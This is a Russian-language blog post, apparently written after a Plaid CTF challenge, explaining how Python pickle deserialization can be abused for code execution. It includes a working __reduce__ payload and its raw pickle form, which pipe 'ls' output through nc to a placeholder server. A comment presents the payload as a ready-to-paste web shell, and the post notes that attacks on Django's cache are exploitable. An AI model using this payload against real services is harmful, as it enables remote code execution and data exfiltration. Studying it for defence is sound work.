Главная > Uncategorized > Python, pickle и внедрение кода

Python, pickle и внедрение кода

Всем хорошо известны последствия передачи сериализованных объектов PHP на сторону клиента: будет плохо. В Питоне также предусмотрена функциональность по сериализации данных — она реализована, в частности, в библиотеке pickle. Об ней-то, но в разрезе безопасности я и хотел бы поговорить поподробнее.

Итак, начнем с того, что в Питоне есть чудесная библиотека для сериализации под названием pickle. В документации красным цветом в самом начале написано:

Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

За это можно от всей души похвалить авторов документации.

Перечислим, какие объекты можно сериализовать с помощью pickle (взято из документации):

  • None, True, и False, числа и строки;
  • кортежи, списки и словари, элеменрты которых могут быть сериализованы (да здравствуют рекурсивные определения!);
  • функции и классы, которые определены в модуле в top level (это значит, что все Built-in объекты сериализуются);
  • экземпляры классов, у которых __dict__ или __setstate__(), могут быть сериализованы.

Есть, правда, одно НО: функции и классы сериализуются по имени. Подразумевается, что соответствующий элемент (функция или класс) может быть импортирован в том месте, где производится десериализация. Что это значит? А то, что в сериализованном объекте кода нет, максимум — данные. Ну и что, можно в итоге в сериализованный объект внедрить код или нет?

Давайте решать задачу из далека — напишем парочку тестов. Сначала сделаем класс, где определим метод:

class cls1(object):
        fld = None
        def mthd(self):
                import subprocess
                self.fld = subprocess.Popen(('/bin/sh','-c','ls'))

Попробуем его сериализовать: print pickle.dumps(cls1())

ccopy_reg
_reconstructor
p0
(c__main__
cls1
p1
c__builtin__
object
p2
Ntp3
Rp4
.

Невооруженным глазом видно, что код в сериализованное представление не попал. Собственно, нам так и обещали. То же будет, если мы попытаемся переопределить стандартные методы __str__ и __repr__. В пытливом уме немедленно возникает идея на следующем шаге проверить конструктор:

class cls2(object):
        fld = None
        def __init__(self):
                import subprocess
                self.fld = subprocess.Popen(('/bin/sh','-c','ls'))

Попробуем его сериализовать: print pickle.dumps(cls2())

ccopy_reg
_reconstructor
p0
(c__main__
cls2
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'fld'
p6
g0
(csubprocess
Popen
p7
g2
Ntp8
Rp9
(dp10
S'_child_created'
p11
I01
sS'returncode'
p12
NsS'stdout'
p13
NsS'stdin'
p14
NsS'pid'
p15
I2218
sS'stderr'
p16
NsS'universal_newlines'
p17
I00
sbsb.

О, что-то похожее на наш код! Только где же строковые константы? Смотрим спецификацию сериализации, исходный код pickle.py и понимаем: что за десериализацию объектов отвечает callable-объект copy_reg._reconstructor, вот его код:

def _reconstructor(cls, base, state):
        if base is object:
                obj = object.__new__(cls)
        else:
                obj = base.__new__(cls, state)
                base.__init__(obj, state)
        return obj

Именно он и указан в самом начале сериализованного представления! Функция принимает три аргумента: базовый тип (у нас — это object), производный тип, объект которого подвергается сериализации/десериализации, и состояние объекта, которое используется для вызова конструктора и, как следствие, придумано для реконструкции полей объекта. Заметим, что состояние используется только для классических классов, а для new-style классов — нет. Кстати, состояние state на этапе десериализации pickle получает в результате вызова метода __getstate__, если он определен у сериализованного объекта.

Выходит, reconstructor восстанавливает состояние только для объектов классических классов. А что же с объектами new-style классов? Продолжаем изучать документацию и видим:

There are several APIs that a class can use to control pickling. Perhaps the most popular of these are __getstate__ and __setstate__; but the most powerful one is __reduce__. IMPORTANT: pickling of classic class instances does not look for a __reduce__ or __reduce_ex__ method or a reduce function in the copy_reg dispatch table, so that a classic class cannot provide __reduce__ functionality in the sense intended here. A classic class must use __getinitargs__ and/or __getstate__ to customize pickling.
__reduce__ must return either a string or a tuple. It is a variable size tuple, of length 2 through 5. The first two items (function and arguments) are required. The items are, in order:
function Required.
A callable object (not necessarily a function) called to create the initial version of the object; state may be added to the object later to fully reconstruct the pickled state. This function must itself be picklable.

Оно! Надо определить в объекте, подлежащем сериализации, метод __reduce__, из которого вернуть callable. Немедленно проверяем:

class cls3(object):
        def __reduce__(self):
                import subprocess
                return (subprocess.Popen, (('/bin/sh','-c','ls | nc MY_SERVER_IP PORT'),))

Замечение. Мы используем nc для того, чтобы понять, была ли выполнена команда при десериализации или нет. Пробуем: print pickle.dumps(cls3()):

csubprocess
Popen
p0
((S’/bin/sh’
p1
S’-c’
p2
S’ls | nc MY_SERVER_IP PORT’
p3
tp4
tp5
Rp6
.

Бинго! Как и обещано, нам пишут в начале сериализованного представления, что для десериализации будет вызван callable-объект, который мы вернули из __reduce__ (это subprocess.Popen). Тут же его аргументы.
Проверяем — и действительно, к нам на nc -l -p PORT пришел вывод ls!

Как резюме: в сериализованном представлении в самом начале _явно_ указывается callable-объект, который будет вызван с указанными тут же аргументами во время десериализации этого представления.

Теперь к веб-приложениям. Где можно встретить сериализованные объекты? Мне доподлинно известно, что при реализации кэширования в Django в кэш будут попадать сериализованные экземпляры HttpResponse. Таким образом, доступ к кэшу на запись автоматически приведет к возможности выполнения кода на сервере. Как говорится, Exploitable!

p.s. Данный пост написан по мотивам задания «Django…Really?» из Plaid CTF, который состоялся в минувшие выходные.

Реклама
  1. 28.04.2011 в 22:05

    Достаточно интересно! Получается, что это можно эксплуатировтать только в случае, если у объекта определён __reduce__() ? Натыкался как-то при аудите одного веб-приложения на использование pickle, но там ничего в голову не пришло, как можно использовать. Было бы здорово обнаружить реальные примеры с этим как в случае PHP.

    • 28.04.2011 в 22:09

      oxdef :

      Получается, что это можно эксплуатировтать только в случае, если у объекта определён __reduce__() ?

      Не, ты не допонял фишки. Если у тебя есть доступ к сериализованному представлению на запись, то ты автоматом в дамках! Ибо в сериализованном представлении на первом месте идет указание того callable-объекта, который будет вызван при десериализации (обычно это будет cope_reg._reduce).

      Таким образом, можешь смело копипастить такой код:

      csubprocess
       Popen
       p0
       ((S’/bin/sh’
       p1
       S’-c’
       p2
       S’ls | nc MY_SERVER_IP PORT’
       p3
       tp4
       tp5
       Rp6
       .
      

      Он при десериализации вызовет ls и отправит тебе результат. В итоге, полноценный веб-шелл :)

  2. 28.04.2011 в 22:26

    Попробовал, действительно работает. Карамба!

  1. 27.05.2013 в 16:47

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход / Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход / Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход / Изменить )

Google+ photo

Для комментария используется ваша учётная запись Google+. Выход / Изменить )

Connecting to %s

%d такие блоггеры, как: